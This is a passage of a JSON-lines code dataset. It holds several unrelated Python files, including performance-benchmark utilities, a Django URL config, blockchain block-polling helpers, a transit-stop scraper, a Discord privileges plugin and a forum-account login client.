- 2\n critical_value = tdist95conf_level(deg_freedom)\n t_score = tscore(sample1, sample2)\n return (abs(t_score) >= critical_value, t_score)\n\n\ndef parse_run_list(run_list):\n run_list = run_list.strip()\n\n runs = []\n for part in run_list.split(','):\n part = part.strip()\n try:\n if '-' in part:\n parts = part.split('-', 1)\n first = int(parts[0])\n last = int(parts[1])\n for run in range(first, last + 1):\n runs.append(run)\n else:\n runs.append(int(part))\n except ValueError:\n raise ValueError(\"invalid list of runs\")\n\n if not runs:\n raise ValueError(\"empty list of runs\")\n\n if min(runs) < 1:\n raise ValueError(\"number of runs starts at 1\")\n\n return [run - 1 for run in runs]\n\n\ndef open_text(path, write=False):\n mode = \"w\" if write else \"r\"\n if six.PY3:\n return open(path, mode, encoding=\"utf-8\")\n else:\n return open(path, mode)\n\n\ndef read_first_line(path, error=False):\n try:\n fp = open_text(path)\n try:\n line = fp.readline()\n finally:\n # don't use context manager to support StringIO on Python 2\n # for unit tests\n fp.close()\n return line.rstrip()\n except IOError:\n if error:\n raise\n else:\n return ''\n\n\ndef proc_path(path):\n return os.path.join(\"/proc\", path)\n\n\ndef sysfs_path(path):\n return os.path.join(\"/sys\", path)\n\n\ndef python_implementation():\n if hasattr(sys, 'implementation'):\n # PEP 421, Python 3.3\n name = sys.implementation.name\n else:\n # Code extracted from platform.python_implementation().\n # Don't import platform to avoid the subprocess import.\n sys_version = sys.version\n if 'IronPython' in sys_version:\n name = 'IronPython'\n elif sys.platform.startswith('java'):\n name = 'Jython'\n elif \"PyPy\" in sys_version:\n name = \"PyPy\"\n else:\n name = 'CPython'\n return name.lower()\n\n\ndef python_has_jit():\n if python_implementation() == 'pypy':\n return sys.pypy_translation_info[\"translation.jit\"]\n\n return False\n\n\n@contextlib.contextmanager\ndef popen_killer(proc):\n try:\n yield\n except:\n # Close pipes\n if proc.stdin:\n proc.stdin.close()\n if proc.stdout:\n proc.stdout.close()\n if proc.stderr:\n proc.stderr.close()\n try:\n proc.kill()\n except OSError:\n # process already terminated\n pass\n proc.wait()\n raise\n\n\ndef popen_communicate(proc):\n with popen_killer(proc):\n return proc.communicate()\n\n\ndef get_python_names(python1, python2):\n # FIXME: merge with format_filename_func() of __main__.py\n name1 = os.path.basename(python1)\n name2 = os.path.basename(python2)\n if name1 != name2:\n return (name1, name2)\n\n return (python1, python2)\n\n\n_which = None\n\n\ndef which(*args, **kw):\n # Wrapper to which() to use lazy import for 'import shutil'\n global _which\n\n if _which is None:\n try:\n # Python 3.3\n from shutil import which as _which\n except ImportError:\n # Backport shutil.which() from Python 3.6,\n # comments/docstring stripped\n def _which(cmd, mode=os.F_OK | os.X_OK, path=None):\n def _access_check(fn, mode):\n return (os.path.exists(fn) and os.access(fn, mode)\n and not os.path.isdir(fn))\n\n if os.path.dirname(cmd):\n if _access_check(cmd, mode):\n return cmd\n return None\n\n if path is None:\n path = os.environ.get(\"PATH\", os.defpath)\n if not path:\n return None\n path = path.split(os.pathsep)\n\n if sys.platform == \"win32\":\n if os.curdir not in path:\n path.insert(0, os.curdir)\n\n pathext = os.environ.get(\"PATHEXT\", \"\").split(os.pathsep)\n if any(cmd.lower().endswith(ext.lower()) for ext in pathext):\n files = [cmd]\n else:\n files = [cmd + ext for ext in pathext]\n else:\n files = [cmd]\n\n seen = set()\n for dir in path:\n normdir = os.path.normcase(dir)\n if normdir not in seen:\n seen.add(normdir)\n for thefile in files:\n name = os.path.join(dir, thefile)\n if _access_check(name, mode):\n return name\n return None\n\n return _which(*args, **kw)\n\n\ndef abs_executable(python):\n orig_python = python\n\n # Replace \"~\" with the user home directory\n python = os.path.expanduser(python)\n\n if os.path.dirname(python):\n # Get the absolute path to the directory of the program.\n #\n # Don't try to get the absolute path to the program, because symlink\n # must not be followed. The venv module of Python can use a symlink for\n # the \"python\" executable of the virtual environment. Running the\n # symlink adds the venv to sys.path, whereas running the real program\n # doesn't.\n path, python = os.path.split(python)\n path = os.path.realpath(path)\n python = os.path.join(path, python)\n else:\n python = which(python)\n if not python:\n print(\"ERROR: Unable to locate the Python executable: %r\" % orig_python)\n sys.exit(1)\n\n return os.path.normpath(python)\n\n\ndef create_environ(inherit_environ, locale):\n env = {}\n\n copy_env = [\"PATH\", \"HOME\", \"TEMP\", \"COMSPEC\", \"SystemRoot\"]\n if locale:\n copy_env.extend(('LANG', 'LC_ADDRESS', 'LC_ALL', 'LC_COLLATE',\n 'LC_CTYPE', 'LC_IDENTIFICATION', 'LC_MEASUREMENT',\n 'LC_MESSAGES', 'LC_MONETARY', 'LC_NAME', 'LC_NUMERIC',\n 'LC_PAPER', 'LC_TELEPHONE', 'LC_TIME'))\n if inherit_environ:\n copy_env.extend(inherit_environ)\n\n for name in copy_env:\n if name in os.environ:\n env[name] = os.environ[name]\n return env\n\n\nif MS_WINDOWS:\n if hasattr(os, 'set_handle_inheritable'):\n # Python 3.4 and newer\n set_handle_inheritable = os.set_handle_inheritable\n else:\n import ctypes\n from ctypes import WinError\n\n HANDLE_FLAG_INHERIT = 1\n SetHandleInformation = ctypes.windll.kernel32.SetHandleInformation\n\n def set_handle_inheritable(handle, inheritable):\n flags = HANDLE_FLAG_INHERIT if inheritable else 0\n\n ok = SetHandleInformation(handle, HANDLE_FLAG_INHERIT, flags)\n if not ok:\n raise WinError()\nelse:\n if hasattr(os, 'set_inheritable'):\n set_inheritable = os.set_inheritable\n elif fcntl is not None:\n def set_inheritable(fd, inheritable):\n flags = fcntl.fcntl(fd, fcntl.F_GETFD)\n if inheritable:\n flags &= ~fcntl.FD_CLOEXEC\n else:\n flags |= fcntl.FD_CLOEXEC\n fcntl.fcntl(fd, fcntl.F_SETFD, flags)\n else:\n set_inheritable = None\n\n\nclass _Pipe(object):\n _OPEN_MODE = \"r\"\n\n def __init__(self, fd):\n self._fd = fd\n self._file = None\n if MS_WINDOWS:\n self._handle = msvcrt.get_osfhandle(fd)\n\n @property\n def fd(self):\n return self._fd\n\n def close(self):\n fd = self._fd\n self._fd = None\n file = self._file\n self._file = None\n\n if file is not None:\n file.close()\n elif fd is not None:\n os.close(fd)\n\n def __enter__(self):\n return self\n\n def __exit__(self, *args):\n self.close()\n\n\nclass ReadPipe(_Pipe):\n def open_text(self):\n if six.PY3:\n file = open(self._fd, \"r\", encoding=\"utf8\")\n else:\n file = os.fdopen(self._fd, \"r\")\n self._file = file\n return file\n\n\nclass WritePipe(_Pipe):\n def to_subprocess(self):\n if MS_WINDOWS:\n set_handle_inheritable(self._handle, True)\n arg = self._handle\n else:\n set_inheritable(self._fd, True)\n arg = self._fd\n return str(arg)\n\n @classmethod\n def from_subprocess(cls, arg):\n arg = int(arg)\n if MS_WINDOWS:\n fd = msvcrt.open_osfhandle(arg, os.O_WRONLY)\n else:\n fd = arg\n return cls(fd)\n\n def open_text(self):\n if six.PY3:\n file = open(self._fd, \"w\", encoding=\"utf8\")\n else:\n file = os.fdopen(self._fd, \"w\")\n self._file = file\n return file\n\n\ndef create_pipe():\n rfd, wfd = os.pipe()\n # On Windows, os.pipe() creates non-inheritable handles\n if not MS_WINDOWS:\n set_inheritable(rfd, False)\n set_inheritable(wfd, False)\n\n rpipe = ReadPipe(rfd)\n wpipe = WritePipe(wfd)\n return (rpipe, wpipe)\n\n\ndef median_abs_dev(values):\n # Median Absolute Deviation\n median = float(statistics.median(values))\n return statistics.median([abs(median - sample) for sample in values])\n\n\ndef percentile(values, p):\n if not isinstance(p, float) or not(0.0 <= p <= 1.0):\n raise ValueError(\"p must be a float in the range [0.0; 1.0]\")\n\n values = sorted(values)\n if not values:\n raise ValueError(\"no value\")\n\n k = (len(values) - 1) * p\n # Python 3 returns integers: cast explicitly to int\n # to get the same behaviour on Python 2\n f = int(math.floor(k))\n c = int(math.ceil(k))\n if f != c:\n d0 = values[f] * (c - k)\n d1 = values[c] * (k - f)\n return d0 + d1\n else:\n return values[int(k)]\n\n#Only for debugging when using APIs \ndef is_verbose():\n return 1\n\ndef perf_start_ext_tracing(extstats):\n #Based on extstats, decide if start only system and/or process based stats\n # Sampling rate 2 seconds\n task_hdl = extmod.XPerfStatsTask(extstats)\n #Start a new process\n task_hdl.start()\n return task_hdl\n\ndef perf_stop_ext_tracing(task_hdl):\n return task_hdl.stop()\n\ndef perf_validate_extstats(extstats):\n return True\n\n#Input: tuple of lists of dictionaries..expected to \n# return formatted command line output\ndef perf_stats_extstats(extstats):\n statsobj = extmod.XPerfStats()\n statsobj.parse_formatted_stats(extstats)\n if statsobj.valid:\n return statsobj.xperf_stat()\n else:\n return \"Error in xperf_dump_list()\"\n\ndef perf_dump_extstats(extstats):\n statsobj = extmod.XPerfStats()\n statsobj.parse_formatted_stats(extstats)\n if statsobj.valid:\n return statsobj.xperf_dump()\n else:\n return \"Error in xperf_dump_list()\"\n\ndef perf_get_extstats(extstats,sys,proc):\n statsobj = extmod.XPerfStats()\n statsobj.parse_formatted_stats(extstats)\n if statsobj.valid:\n return statsobj.xperf_get_values(sys,proc)\n else:\n return \"Error in xperf_dump_list()\"\n","sub_path":"perf/_utils.py","file_name":"_utils.py","file_ext":"py","file_size_in_byte":15287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"253028642","text":"\"\"\"outlab4_3 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path,include\nfrom django.views.generic.base import TemplateView\nfrom app1 import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('accounts/',include('django.contrib.auth.urls')),\n path('', TemplateView.as_view(template_name='home.html'), name='home'),\n #path('home/',views.home,name='home2'),\n #path('logout/',view.logout,name='logout'),\n path('register/',views.register,name = 'register'),\n path('index/',views.index,name='index'),\n path('update/',views.update_profile,name='update'),\n path('explore/',views.explore,name='explore'),\n path('explore/display/',views.display,name='display'),\n path('updatenow/',views.update_now,name='update_now')\n]\n","sub_path":"outlab4_3/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"91275356","text":"def get_last_network_block(network):\n network.network_type == 'tron'\n last_block_networks = {\n 'ethereum': (network.w3.eth.block_number - network.confirmation_blocks),\n \n 'tron': (\n network.get_block_data('latest')['number'] - network.confirmation_blocks\n )\n }\n return last_block_networks[network.network_type]\n\n\ndef get_event_data(network, last_block_checked, last_block_network, event):\n if network.network_type == 'ethereum':\n event_filter = event.createFilter(\n fromBlock=last_block_checked, toBlock=last_block_network\n )\n events= event_filter.get_all_entries()\n \n elif network.network_type == 'tron':\n url = \\\n f'{network.endpoint}/v1/contracts/{network.swap_address}/events?event_name={event}' \\\n f'&min_block_timestamp={last_block_checked[\"timestamp\"]}' \\\n f'&max_block_timestamp={last_block_network[\"timestamp\"]}'\n events = requests.get(url).json()['data']\n return events\n\n\ndef get_block_data(network, identifer):\n if network.network_type == 'tron':\n return network.tron.trx.get_block(identifer)['block_header']['raw_data']\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"578136842","text":"import urllib2\nimport xml.etree.cElementTree as ET\n\n\n# creates a file that maps a stop ID to the stop number\n# (a string to number mapping)\n\nrouteListURL = \"http://webservices.nextbus.com/service/publicXMLFeed?command=routeList&a=ttc\"\nrouteStopListPrefix = \"http://webservices.nextbus.com/service/publicXMLFeed?command=routeConfig&a=ttc&r=\"\nrouteStopListSuffix = \"&verbose\"\n\nfile_handler = open('../stop_list_mapping.txt', 'w')\n\n# hack to retrieve GPS coordinate for all stops. Save in separate file.\ngps_file_h = open('../stop_list_gps.txt', 'w')\n\nxml_data = urllib2.urlopen(routeListURL)\nxml_tree = ET.parse(xml_data)\nrouteList = xml_tree.getroot()\n\nfor routeXML in routeList:\n\trouteID = routeXML.attrib[\"tag\"]\n\t# print routeID\n\txml_data = urllib2.urlopen(routeStopListPrefix + routeID + routeStopListSuffix)\n\txml_tree = ET.parse(xml_data)\n\troot = xml_tree.getroot()\n\t\n\t# use route directions\n\troute_details = root[0] # body->route\n\t# get only direction nodes\n\tfor direction_list in route_details.findall('direction'):\n\t\tdirection_title = direction_list.attrib[\"title\"]\n\t\tfor stop_tag in direction_list:\n\t\t\tstop_id = stop_tag.attrib[\"tag\"]\n\t\t\t# get stop name\n\t\t\tstop_node = route_details.find(\".//stop[@tag='\"+stop_id+\"']\")\n\t\t\tstop_name = stop_node.attrib[\"title\"]\n\t\t\t# store route dir, stop name combo. map to stop number\n\t\t\t#print direction_title + \",\" + stop_name + \",\" + stop_id\n\t\t\tfile_handler.write(direction_title + \",\" + stop_name + \",\" + stop_id+\"\\n\")\n\t\t\t# hack, latitide and longitude\n\t\t\tlatitude = stop_node.attrib[\"lat\"]\n\t\t\tlongitude = stop_node.attrib[\"lon\"]\n\t\t\tgps_file_h.write(latitude + \",\" + longitude + \"\\n\");\n\t\n\t\n\nfile_handler.close()\ngps_file_h.close()\n","sub_path":"deprecated/generate_stops_map.py","file_name":"generate_stops_map.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"175466910","text":"\"\"\"\n$Id: viewlet.py 9562 2012-07-12 18:21:11Z mario.ruggier $\n\n\"\"\"\nfrom zope.viewlet.manager import WeightOrderedViewletManager\nfrom ploned.ui.interfaces import IStructuralView\nfrom zope.component import getMultiAdapter\nfrom zope.contentprovider.interfaces import IContentProvider\n# viewlet managers\n\nclass ContentViewsManager(WeightOrderedViewletManager):\n pass\n\n# viewlets\n\nclass ContentActionsViewlet(object):\n display = True\n \n def __init__(self, context, request, view, manager):\n content_provider = getMultiAdapter((context, request, view),\n IContentProvider,\n name=\"plone.contentmenu\")\n self.display = content_provider.available()\n super(ContentActionsViewlet, self).__init__(\n context, request, view, manager)\n\nclass StructureAwareViewlet(object):\n def __init__(self, context, request, view, manager):\n if IStructuralView.providedBy(view):\n context = context.__parent__\n super(StructureAwareViewlet, self).__init__(\n context, request, view, manager)\n\n'''\n# specific content\n\nfrom zope.browsermenu.menu import getMenu\nfrom bungeni.ui import z3evoque\nfrom zope.app.pagetemplate import ViewPageTemplateFile\n\nclass ContentViewsViewlet(StructureAwareViewlet):\n # evoque\n render = z3evoque.ViewTemplateFile(\"ploned.html#content_actions\",\n collection=\"bungeni.ui.viewlets\", i18n_domain=\"bungeni.ui\")\n \n # zpt\n #render = ViewPageTemplateFile(\n # \"../../../bungeni.ui/bungeni/ui/viewlets/templates/portlet-contentactions.pt\")\n \n def update(self):\n # retrieve menu\n self.context_actions = getMenu(\"context_actions\", self.context, self.request)\n'''\n\n","sub_path":"ploned.ui/ploned/ui/viewlet.py","file_name":"viewlet.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"570099868","text":"#!/usr/bin/env python2\n\n# Constants\nFETCHES = ['Bloodstained Mire', 'Marsh Flats',\n 'Polluted Delta', 'Verdant Catacombs']\nLANDS = FETCHES + ['Blood Crypt']\n\n# Variables\nheartless_summoning_in_play = False\n\n\nclass deck(object):\n def __init__(self, decklist):\n self.cards = []\n with open(decklist) as f:\n for line in f:\n (val, key) = line.split(' ', 1)\n self.cards += [key.strip()] * int(val)\n\n def __len__(self):\n return len(self.cards)\n\n def __str__(self):\n return '\\n'.join(self.cards)\n\n def draw7(self):\n hand = self.cards[:7]\n self.cards = self.cards[7:]\n return hand\n\n def remove(self, card):\n self.cards.remove(card)\n\n def shuffle(self):\n import random\n random.shuffle(self.cards)\n\n\nif __name__ == '__main__':\n for i in range(100):\n mydeck = deck('decklist.txt')\n mydeck.shuffle()\n hand = mydeck.draw7()\n\n # Pre-game effects\n mana = ['g'] * hand.count('Chancellor of the Tangle')\n\n while True:\n # Check failure cases (mana > 3, lands > 1)\n if (len(mana) > 3 or\n sum([hand.count(card) for card in LANDS]) > 1):\n break\n\n # Play Blood Crypt\n if 'Blood Crypt' in hand:\n mana += ['br']\n\n # Or crack a fetch for a Blood Crypt\n else:\n fetch = [card for card in hand if card in FETCHES]\n if len(fetch) == 0:\n break\n mydeck.remove('Blood Crypt')\n mydeck.shuffle()\n mana += ['br']\n\n # Exile Simian Spirit Guides\n \n\n print(mana)\n break\n","sub_path":"do_combo.py","file_name":"do_combo.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"48276238","text":"import logging\nfrom typing import List, Dict, Optional, Union, Iterable, Callable, Awaitable, Literal, Protocol, cast\nimport discord\nimport discord.utils\nimport util.db.kv\nfrom util.frozen_dict import FrozenDict\nfrom util.frozen_list import FrozenList\nimport util.discord\nimport plugins.commands\n\nADict = Union[Dict[str, List[str]], FrozenDict[str, FrozenList[str]]]\n\nclass PrivilegesConf(Protocol):\n def __getitem__(self, priv: str) -> Optional[FrozenDict[str, FrozenList[str]]]: ...\n def __setitem__(self, priv: str, p: Optional[ADict]) -> None: ...\n\nconf = cast(PrivilegesConf, util.db.kv.Config(__name__))\nlogger: logging.Logger = logging.getLogger(__name__)\n\ndef has_privilege(priv: str, user_or_member: Union[discord.User, discord.Member]) -> bool:\n obj = conf[priv]\n if obj and \"users\" in obj:\n if str(user_or_member.id) in obj[\"users\"]:\n return True\n if obj and \"roles\" in obj:\n if isinstance(user_or_member, discord.Member):\n for role in user_or_member.roles:\n if str(role.id) in obj[\"roles\"]:\n return True\n # else we're in a DM or the user has left,\n # either way there's no roles to check\n return False\n\ndef priv(name: str) -> Callable[[Callable[[discord.Message, plugins.commands.ArgParser], Awaitable[None]]],\n Callable[[discord.Message, plugins.commands.ArgParser], Awaitable[None]]]:\n \"\"\"\n Require that a command is only available to a given privilege. The decorator should be specified after\n plugins.commands.command.\n \"\"\"\n def decorator(fun: Callable[[discord.Message, plugins.commands.ArgParser], Awaitable[None]]) -> Callable[\n [discord.Message, plugins.commands.ArgParser], Awaitable[None]]:\n async def check(msg: discord.Message, arg: plugins.commands.ArgParser) -> None:\n if has_privilege(name, msg.author):\n await fun(msg, arg)\n else:\n logger.warn(\"Denied {} to {!r}\".format(fun.__name__, msg.author))\n check.__name__ = fun.__name__\n return check\n return decorator\n\ndef user_id_from_arg(guild: Optional[discord.Guild], arg: plugins.commands.Arg) -> Optional[int]:\n if isinstance(arg, plugins.commands.UserMentionArg):\n return arg.id\n if not isinstance(arg, plugins.commands.StringArg): return None\n user = util.discord.smart_find(arg.text, guild.members if guild else ())\n if user is None:\n raise util.discord.UserError(\"Multiple or no results for user {!i}\", arg.text)\n return user.id\n\ndef role_id_from_arg(guild: Optional[discord.Guild], arg: plugins.commands.Arg) -> Optional[int]:\n if isinstance(arg, plugins.commands.RoleMentionArg):\n return arg.id\n if not isinstance(arg, plugins.commands.StringArg): return None\n role = util.discord.smart_find(arg.text, guild.roles if guild else ())\n if role is None:\n raise util.discord.UserError(\"Multiple or no results for role {!i}\", arg.text)\n return role.id\n\nasync def priv_new(msg: discord.Message, priv: str) -> None:\n if conf[priv] is not None:\n await msg.channel.send(util.discord.format(\"Priv {!i} already exists\", priv))\n return\n conf[priv] = {\"users\": [], \"roles\": []}\n await msg.channel.send(util.discord.format(\"Created priv {!i}\", priv))\n\nasync def priv_delete(msg: discord.Message, priv: str) -> None:\n if conf[priv] == None:\n await msg.channel.send(util.discord.format(\"Priv {!i} does not exist\", priv))\n return\n conf[priv] = None\n await msg.channel.send(util.discord.format(\"Removed priv {!i}\", priv))\n\nasync def priv_show(msg: discord.Message, priv: str) -> None:\n obj = conf[priv]\n if obj is None:\n await msg.channel.send(util.discord.format(\"Priv {!i} does not exist\", priv))\n return\n output = []\n if \"users\" in obj:\n for id in map(int, obj[\"users\"]):\n member = discord.utils.find(lambda m: m.id == id, msg.guild.members if msg.guild else ())\n if member:\n mtext = util.discord.format(\"{!m}({!i} {!i})\", member, member.name, member.id)\n else:\n mtext = util.discord.format(\"{!m}({!i})\", id, id)\n output.append(\"user {}\".format(mtext))\n if \"roles\" in obj:\n for id in map(int, obj[\"roles\"]):\n role = discord.utils.find(lambda r: r.id == id, msg.guild.roles if msg.guild else ())\n if role:\n rtext = util.discord.format(\"{!M}({!i} {!i})\", role, role.name, role.id)\n else:\n rtext = util.discord.format(\"{!M}({!i})\", id, id)\n output.append(\"role {}\".format(rtext))\n await msg.channel.send(util.discord.format(\"Priv {!i} includes: {}\", priv, \"; \".join(output)),\n allowed_mentions=discord.AllowedMentions.none())\n\nasync def priv_add_user(msg: discord.Message, priv: str, obj: FrozenDict[str, FrozenList[str]], user_id: int) -> None:\n if str(user_id) in obj.get(\"users\", []):\n await msg.channel.send(util.discord.format(\"User {!m} is already in priv {!i}\", user_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n return\n\n users = obj.get(\"users\") or FrozenList()\n users += [str(user_id)]\n conf[priv] = obj | {\"users\": users}\n\n await msg.channel.send(util.discord.format(\"Added user {!m} to priv {!i}\", user_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n\nasync def priv_add_role(msg: discord.Message, priv: str, obj: FrozenDict[str, FrozenList[str]], role_id: int) -> None:\n if str(role_id) in obj.get(\"roles\", []):\n await msg.channel.send(util.discord.format(\"Role {!M} is already in priv {!i}\", role_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n return\n\n roles = obj.get(\"roles\") or FrozenList()\n conf[priv] = obj | {\"roles\": roles + [str(role_id)]}\n\n await msg.channel.send(util.discord.format(\"Added role {!M} to priv {!i}\", role_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n\nasync def priv_remove_user(msg: discord.Message, priv: str, obj: FrozenDict[str, FrozenList[str]], user_id: int\n ) -> None:\n if str(user_id) not in obj.get(\"users\", []):\n await msg.channel.send(util.discord.format(\"User {!m} is already not in priv {!i}\",\n user_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n return\n\n users = obj.get(\"users\") or FrozenList()\n users = FrozenList(filter(lambda i: i != str(user_id), users))\n conf[priv] = obj | {\"users\": users}\n\n await msg.channel.send(util.discord.format(\"Removed user {!m} from priv {!i}\", user_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n\nasync def priv_remove_role(msg: discord.Message, priv: str, obj: FrozenDict[str, FrozenList[str]], role_id: int\n ) -> None:\n if str(role_id) not in obj.get(\"roles\", []):\n await msg.channel.send(util.discord.format(\"Role {!M} is already not in priv {!i}\", role_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n return\n\n roles = obj.get(\"roles\") or FrozenList()\n roles = FrozenList(filter(lambda i: i != str(role_id), roles))\n conf[priv] = obj | {\"roles\": roles}\n\n await msg.channel.send(util.discord.format( \"Removed role {!M} from priv {!i}\", role_id, priv),\n allowed_mentions=discord.AllowedMentions.none())\n\n@plugins.commands.command(\"priv\")\n@priv(\"shell\")\nasync def priv_command(msg: discord.Message, args: plugins.commands.ArgParser) -> None:\n cmd = args.next_arg()\n if not isinstance(cmd, plugins.commands.StringArg): return\n\n if cmd.text.lower() == \"new\":\n priv = args.next_arg()\n if not isinstance(priv, plugins.commands.StringArg): return\n await priv_new(msg, priv.text)\n\n elif cmd.text.lower() == \"delete\":\n priv = args.next_arg()\n if not isinstance(priv, plugins.commands.StringArg): return\n await priv_delete(msg, priv.text)\n\n elif cmd.text.lower() == \"show\":\n priv = args.next_arg()\n if not isinstance(priv, plugins.commands.StringArg): return\n await priv_show(msg, priv.text)\n\n elif cmd.text.lower() == \"add\":\n priv = args.next_arg()\n if not isinstance(priv, plugins.commands.StringArg): return\n obj = conf[priv.text]\n if obj is None:\n await msg.channel.send(util.discord.format(\"Priv {!i} does not exist\", priv.text))\n return\n cmd = args.next_arg()\n if not isinstance(cmd, plugins.commands.StringArg): return\n if cmd.text.lower() == \"user\":\n arg = args.next_arg()\n if arg is None: return\n user_id = user_id_from_arg(msg.guild, arg)\n if user_id is None: return\n await priv_add_user(msg, priv.text, obj, user_id)\n\n elif cmd.text.lower() == \"role\":\n arg = args.next_arg()\n if arg is None: return\n role_id = role_id_from_arg(msg.guild, arg)\n if role_id is None: return\n await priv_add_role(msg, priv.text, obj, role_id)\n\n elif cmd.text.lower() == \"remove\":\n priv = args.next_arg()\n if not isinstance(priv, plugins.commands.StringArg): return\n obj = conf[priv.text]\n if obj is None:\n await msg.channel.send(util.discord.format(\"Priv {!i} does not exist\", priv.text))\n return\n cmd = args.next_arg()\n if not isinstance(cmd, plugins.commands.StringArg): return\n if cmd.text.lower() == \"user\":\n arg = args.next_arg()\n if arg is None: return\n user_id = user_id_from_arg(msg.guild, arg)\n if user_id is None: return\n await priv_remove_user(msg, priv.text, obj, user_id)\n\n elif cmd.text.lower() == \"role\":\n arg = args.next_arg()\n if arg is None: return\n role_id = role_id_from_arg(msg.guild, arg)\n if role_id is None: return\n await priv_remove_role(msg, priv.text, obj, role_id)\n","sub_path":"plugins/privileges.py","file_name":"privileges.py","file_ext":"py","file_size_in_byte":9997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"554886040","text":"# -*- coding: utf-8 -*-\n\nfrom aiohttp import web\nfrom backend import response\n\n\nclass MachineView(web.View):\n async def get(self):\n output_temp_client = self.request.app['output_temp_client']\n tank_temp_client = self.request.app['tank_temp_client']\n tank_water_client = self.request.app['tank_water_client']\n refill_client = self.request.app['refill_client']\n heater_client = self.request.app['heater_client']\n\n output_temp = await output_temp_client.get_temperature()\n tank_temp = await tank_temp_client.get_temperature()\n water_level = await tank_water_client.get_water_level()\n refill_status = await refill_client.get()\n heater_status = await heater_client.get()\n\n return await response.response(200, \"Get machine status successfully\",\n {\n \"output_temperature\": output_temp,\n \"tank_temperature\": tank_temp,\n \"water_level\": water_level,\n \"refill_status\": refill_status,\n \"heater_status\": heater_status\n })\n\n\nclass TankTemperatureView(web.View):\n async def put(self):\n payload = await self.request.json()\n temperature = payload['temperature']\n heater_client = self.request.app['heater_client']\n await heater_client.set_temperature(temperature)\n\n return await response.response(200,\n 'Set tank temperature successfully',\n {\"tank_temperature\": temperature})\n","sub_path":"src/backend/machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"632048708","text":"import time\nimport re\nfrom bs4 import BeautifulSoup\nfrom hashlib import md5\n\nfrom py_sarp import session\nfrom py_sarp.constants import *\n\n\ndef _is_logged_in() -> bool:\n \"\"\"Verify the current session is still logged in\"\"\"\n response = session.get(Urls.HOME.value)\n if 'You are not logged in' in response.text:\n return False\n else:\n return True\n\n\ndef _get_security_token(html: str) -> str:\n \"\"\"Scrape the security token from HTML\"\"\"\n return BeautifulSoup(html, 'html.parser').find('input', {'name': 'securitytoken'})['value']\n\n\nclass Account:\n \"\"\"Creates a forum account for interacting with www.gta-sarp.com.\"\"\"\n\n cookies: dict = {}\n settings: dict = {} # A collection of the current account's general settings\n profile_info: dict = {} # A collection of the current account's profile information\n\n # === BUILT-IN METHODS AND INIT ===\n\n def __init__(self, username: str, password: str, account_id: int) -> None:\n self.username = username\n self.password = md5(password.encode('utf-8')).hexdigest()\n self.account_id = account_id\n\n self._get_cookies(Urls.LOGIN.value)\n self.login()\n self.get_current_settings()\n self.get_current_profile_info()\n\n def __repr__(self):\n return f'{self.username} ({self.account_id})'\n\n def __str__(self):\n return f'{self.username}'\n\n # === ACTIONS ===\n\n def login(self) -> bool:\n \"\"\"Log in to the website\"\"\"\n payload = {\n 'do': 'login',\n 'vb_login_username': self.username,\n 'vb_login_password': '',\n 'vb_login_password_hint': 'Password',\n 'cookieuser': '1',\n 's': '',\n 'securitytoken': 'guest',\n 'vb_login_md5password': self.password,\n 'vb_login_md5password_utf': self.password\n }\n response = session.post(Urls.LOGIN.value, payload)\n\n if response.status_code != 200:\n print(f'Failed to connect: Error code {response.status_code}')\n return False\n\n if 'Thank you for logging in' in response.text:\n return True\n else:\n return False\n\n def get_current_settings(self) -> None:\n \"\"\"Return the current forum acccount's settings to the object's variable \"\"\"\n if not _is_logged_in():\n self.login()\n\n html: str = session.get(Urls.EDIT_SETTINGS.value).text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n form = soup.find('form', {'class': 'block'})\n input_tags = form.find_all('input')\n\n settings_dict = dict()\n\n for tag in input_tags:\n if tag['name'] != 'securitytoken':\n if tag['name'] != 'do':\n try:\n settings_dict.update({tag['name']: tag['value']})\n except:\n pass\n self.settings = settings_dict\n\n def get_current_profile_info(self) -> None:\n \"\"\"Return the current forum acccount's profile info to the object's variable \"\"\"\n if not _is_logged_in():\n self.login()\n\n html: str = session.get(Urls.EDIT_PROFILE.value).text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n form = soup.find('form', {'class': 'block'})\n input_tags = form.find_all('input', {'name': True})\n text_tags = form.find_all('textarea', {'name': True})\n\n profile_info_dict = dict()\n for tag in input_tags:\n if tag['name'] != 'securitytoken':\n if tag['name'] != 'do':\n if tag['name'] != 'gotopassword':\n profile_info_dict.update({tag['name']: tag['value']})\n profile_info_dict.update({\n 'showbirthday': form.find('option', {'selected': 'selected'})['value'],\n 